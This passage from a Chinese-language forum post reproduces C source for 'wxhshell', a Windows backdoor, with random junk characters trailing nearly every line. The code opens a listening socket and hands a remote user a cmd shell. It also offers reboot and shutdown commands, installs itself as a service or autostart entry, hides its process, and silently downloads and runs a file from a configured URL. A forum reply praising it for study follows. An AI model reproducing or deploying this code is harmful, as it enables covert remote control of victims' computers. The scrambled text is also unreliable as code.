  if(DownloadFile(cmd,wsh)) NgY =&W,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ll C#1  
  else g[3)P+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  jrS[f  
  } 9M:O0)s  
  else { Nd;K u6  
49vcoHlf  
    switch(cmd[0]) { $f zaPD4.  
  f\jLqZY  
  // 帮助 G%s 2P.cd  
  case '?': { Iu <?&9t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mVy|{Oh  
    break; ]bK=FIK2  
  } 9pX&ZjYP-  
  // 安装 T87 m?a$  
  case 'i': { 8p:j&F  
    if(Install()) g4l !xT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  w/kt3Lw  
    else I= &stsH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .dav8n*  
    break; pim!.=vN/U  
    } L>3x9  
  // 卸载 hy`?E6=9+  
  case 'r': { gy_>`16K  
    if(Uninstall()) /\hzb/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HbxL:~:}J  
    else |g//g\dd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | y2w9n0D  
    break; D/Mi^5H)  
    } sPR1?:0:  
  // 显示 wxhshell 所在路径 MP>dW nl  
  case 'p': { `-p:vq`  
    char svExeFile[MAX_PATH]; yI"6Da6|y  
    strcpy(svExeFile,"\n\r"); ;t|Ii8Ne  
      strcat(svExeFile,ExeFile); eb=D/  
        send(wsh,svExeFile,strlen(svExeFile),0); #':fkIYe'  
    break; BYMi6wts  
    } o<|P9#(U"  
  // 重启 }3OKC2K~  
  case 'b': { W;,C_   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s[w6FXt  
    if(Boot(REBOOT)) y$_eCmq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\3B^ e,  
    else { "t~  
    closesocket(wsh); E/%9jDTQ  
    ExitThread(0); HxIIO[h  
    } Y9&,t\ q  
    break; rl #p".4q  
    } o !vE~  
  // 关机 <=>=.kmGt  
  case 'd': { FgB& b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ro9tZ'N!S  
    if(Boot(SHUTDOWN)) ,&R/4 :I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*6 C=LL  
    else { LILQ\I<<'  
    closesocket(wsh); /\4'ddGU  
    ExitThread(0); ybY]e; v*O  
    } ZOZ+Y\uU  
    break; eep1I :N  
    } T-U}QM_e  
  // 获取shell ~NpA".PB  
  case 's': { A}3=561F?5  
    CmdShell(wsh); Vz=PiMO  
    closesocket(wsh); -(~!Jo_*'  
    ExitThread(0); "-vW,7y  
    break; f PM8f  
  } -De9_0#R  
  // 退出 -i%e!DgH  
  case 'x': { _N{RVeO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @n{JM7ctJ  
    CloseIt(wsh); u[DfzH  
    break; N-e @j4WU  
    } [< &oF  
  // 离开 a 0GpfW$t  
  case 'q': { yrC7F` .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v~@pMA$(h  
    closesocket(wsh); V{:A3C41  
    WSACleanup(); USM4r!x  
    exit(1); xUa{1!Y8  
    break; YLiSbLz1  
        } 4\4FolsK  
  } lXjXqk\  
  } 7~5ym15*  
K>DR Jz  
  // 提示信息 Vnr[}<L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XYZ4TeW\1  
} <w)r`D6  
  } U'<KC"f:'!  
/Sc l#4bW  
  return; 'lEA)&d  
} FXi{87F2  
Jc|6&  
// shell模块句柄 ]]oI#*c  
int CmdShell(SOCKET sock) k[:bQ)H  
{ <U!`J[n%  
STARTUPINFO si; 4Za7^c.  
ZeroMemory(&si,sizeof(si)); 8&)DE@W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w-t8C=Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xT+zU}z  
PROCESS_INFORMATION ProcessInfo; B#.L  
char cmdline[]="cmd"; b"#WxgaF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y}#J4i0b*  
  return 0; d;>#Sxf  
} ,^eYlmT>6  
\ywXi~+kUv  
// 自身启动模式 iC9 8_o_9  
int StartFromService(void) f;xkT  
{ y&?6FY  
typedef struct SBIj<Yy]  
{ Zw ^kmSL"  
  DWORD ExitStatus; k6sI L3QJ0  
  DWORD PebBaseAddress; }Du}c3  
  DWORD AffinityMask; 'i4_`^:+  
  DWORD BasePriority; ,Qe?8En[  
  ULONG UniqueProcessId; tm#nUw  
  ULONG InheritedFromUniqueProcessId; /Q2mMSK1h  
}   PROCESS_BASIC_INFORMATION; OeS\7  
o!{w"K  
PROCNTQSIP NtQueryInformationProcess; 2M68CE  
7]||UuF<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Pn3%&O$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -8j+s}Q  
e=.njMqW5  
  HANDLE             hProcess; Od5JG .]  
  PROCESS_BASIC_INFORMATION pbi; q(2K6  
Ai gS!-   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xK6n0] A  
  if(NULL == hInst ) return 0; I~Zh@d%  
w6{TE(]zp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |!"`MIw,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b;cdIl!3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C0}IE,]  
X@LRsg  
  if (!NtQueryInformationProcess) return 0; -/g B|J  
CJJzCVj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &'}RrW-s  
  if(!hProcess) return 0; 17G'jiY H  
TTt#a6eJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *2 2nVKi {  
hR Ue<0o:  
  CloseHandle(hProcess); [5+}rwm&W  
QUQu^p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7lBAxqr2  
if(hProcess==NULL) return 0; .QN>z-YA6:  
\0vr>C  
HMODULE hMod; ] 0B2# d  
char procName[255]; jkt_5+S  
unsigned long cbNeeded; -< &D  
L&%s[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !VI]oRgP  
D IzH`|Y  
  CloseHandle(hProcess); -U/c\-~fU  
tjluk  
if(strstr(procName,"services")) return 1; // 以服务启动 +(1zH-^.  
)XzI #iQ  
  return 0; // 注册表启动 X  .5aMm  
} H P3lz,d  
w6W}"Uw  
// 主模块 /|eA9 ]  
int StartWxhshell(LPSTR lpCmdLine) jg\Z;_!W  
{ twlk-2yT!  
  SOCKET wsl; ;o 0&`b?  
BOOL val=TRUE; #EsNeBu  
  int port=0; D(H>R&b!  
  struct sockaddr_in door; &qr;IL7'  
ML8<4o  
  if(wscfg.ws_autoins) Install(); H s"HID  
:X]itTrGs  
port=atoi(lpCmdLine); kMt 8/E`  
bj"J'  
if(port<=0) port=wscfg.ws_port; jhg;%+KB  
?)1{)Erf8x  
  WSADATA data; GP:77)b5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R5 9S@MsuD  
30.@g[~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   By9*1H2R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *UmI]E{g3(  
  door.sin_family = AF_INET; J_v$YwE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X7i/fm{l'  
  door.sin_port = htons(port); 371 TvZ4  
HO}Hh[{V9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2g>SHS@1>  
closesocket(wsl); fIwV\,s  
return 1; jr!?v<NoX  
} Lg*B>=  
CS=qj-(  
  if(listen(wsl,2) == INVALID_SOCKET) { }=8B*  
closesocket(wsl); +[tE^`-F  
return 1; v>-VlQ  
} dnb)/  
  Wxhshell(wsl); A' /KUi  
  WSACleanup(); cdZ~2vk  
##V5-ZG{:  
return 0; tP2qK_\e=  
YA +E\  
} h}cy D7Wn  
N 0= ac5  
// 以NT服务方式启动 ?hWwj6i&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9=V:&.L  
{ HOE_S!N  
DWORD   status = 0; a8i]]1Blz  
  DWORD   specificError = 0xfffffff; W034N[9  
|<.lW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +{W>i;U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3rcKzS7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X90J!  
  serviceStatus.dwWin32ExitCode     = 0; yLdVd P  
  serviceStatus.dwServiceSpecificExitCode = 0; WeQk<y  
  serviceStatus.dwCheckPoint       = 0; ( 2n>A D_  
  serviceStatus.dwWaitHint       = 0; 75T7+:p  
B,@c; K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]):<ZsT  
  if (hServiceStatusHandle==0) return; 5i1>I=N  
mqAWL:VvQ7  
status = GetLastError(); {jho&Ai  
  if (status!=NO_ERROR) kMOpi =Z1  
{ &xY^OCt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; elG<k%/2  
    serviceStatus.dwCheckPoint       = 0; i]|Yg$  
    serviceStatus.dwWaitHint       = 0; we;G]`@?  
    serviceStatus.dwWin32ExitCode     = status; wm$}Pch  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1I<rXY(a`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {6c2{@  
    return; |&[L?  
  } 5c^Z/ Jl$c  
u a~CEs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5KDGSo  
  serviceStatus.dwCheckPoint       = 0; ""1^k2fj  
  serviceStatus.dwWaitHint       = 0; bBS,-vN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p Wt) A  
} ;+<&8.=,)  
1!1 beR]  
// 处理NT服务事件,比如:启动、停止 &b?LP]   
VOID WINAPI NTServiceHandler(DWORD fdwControl) ALNc'MW!  
{ -Gw$#!  
switch(fdwControl) j|/]#@Yr  
{ <X7FMNr[  
case SERVICE_CONTROL_STOP: 5K<5kHpvJ{  
  serviceStatus.dwWin32ExitCode = 0; ni6{pK4Wqm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zSSB>D  
  serviceStatus.dwCheckPoint   = 0; @*Wh  
  serviceStatus.dwWaitHint     = 0; `KK>~T_$J  
  { z(fAnn T?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +S R+x/?z  
  } kRTwaNDOD  
  return; f~d d3m('  
case SERVICE_CONTROL_PAUSE: @Q^P{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >9q&PEc  
  break; &Ibu>di4[  
case SERVICE_CONTROL_CONTINUE: (A?H1 9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |kvC H<F'  
  break; 1e>s{  
case SERVICE_CONTROL_INTERROGATE: =7C%P%yt  
  break; 8}FzZ?DRy  
}; :L1dyVA{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HVP"A3}KC  
} BvR-K\rx  
91q8k=p  
// 标准应用程序主函数 i 2sN3it  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Y*bSP)\  
{ zD(`B+  
H~+l7OhV  
// 获取操作系统版本 9uer(}WKT  
OsIsNt=GetOsVer(); cu%C"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H]$)Eg%6  
lNL6M%e$Q  
  // 从命令行安装 't_[dSO  
  if(strpbrk(lpCmdLine,"iI")) Install(); t: IN,Kl4  
FRS>KO=3  
  // 下载执行文件 {2+L @  
if(wscfg.ws_downexe) { Mnz!nWhk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #ssN027  
  WinExec(wscfg.ws_filenam,SW_HIDE); g q}I[N  
} 2A\,-*pc  
#SX8=f`K5  
if(!OsIsNt) { .h& .K  
// 如果时win9x,隐藏进程并且设置为注册表启动 1XnZy5fEo  
HideProc(); baP^<w^  
StartWxhshell(lpCmdLine); +Wx{:  
} u6_@.a}  
else ~-dV^SO  
  if(StartFromService()) |{@8m9JR  
  // 以服务方式启动 >zhO7,=,  
  StartServiceCtrlDispatcher(DispatchTable); }t ;(VynV)  
else V0%V5>  
  // 普通方式启动  wAz&"rS  
  StartWxhshell(lpCmdLine); qR8u$2}NY  
+{/*z  
return 0; HS.^y x  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五